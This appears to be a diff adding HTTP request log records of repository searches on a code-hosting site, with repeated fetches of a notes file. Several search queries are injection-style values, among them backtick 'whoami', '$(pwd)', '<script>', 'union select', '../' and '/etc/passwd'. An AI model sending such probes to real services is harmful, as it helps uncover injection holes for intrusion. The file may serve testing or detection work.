+{"method": "GET", "target": "/alice/tools/search/branch/feat/docker-support?path=&q=%2Fbin%2Fsh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%2Fbin%2Fsh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/releases?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/alice/tools/branches?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/-/packages?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=package.json&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/css/repo-branch-tag-selector.d9ca1da2.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=package.json&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/js/repo-branch-tag-selector.f396185d.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=package.json&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=package.json&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=.gitignore&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=.gitignore&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=docker-compose.yml&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=python3&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=ssh%20key&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=ssh%20key&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=feat%2Fdocker-support&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=feat%2Fdocker-support&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=ls%20-la&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=sed%20-i&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=sed%20-i&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%2Fbin%2Fsh&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%60make%20check%60&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%60make%20check%60&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%60whoami%60&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%60whoami%60&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=fetch%28&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=fetch%28&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%24%7BVAR%7D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%24%7BVAR%7D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%24%28pwd%29&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%24%28pwd%29&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=process.env&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=process.env&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%3Cimg%20src%3D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%3Cimg%20src%3D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%3Cscript%3E&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%3Cscript%3E&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=SELECT%20%2A%20FROM%20users%20WHERE&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=SELECT%20%2A%20FROM%20users%20WHERE&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=union%20select&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=union%20select&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=http%3A%2F%2F127.0.0.1%3A8080&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=http%3A%2F%2F127.0.0.1%3A8080&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=..%2F&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=..%2F&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%2Fetc%2Fpasswd&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
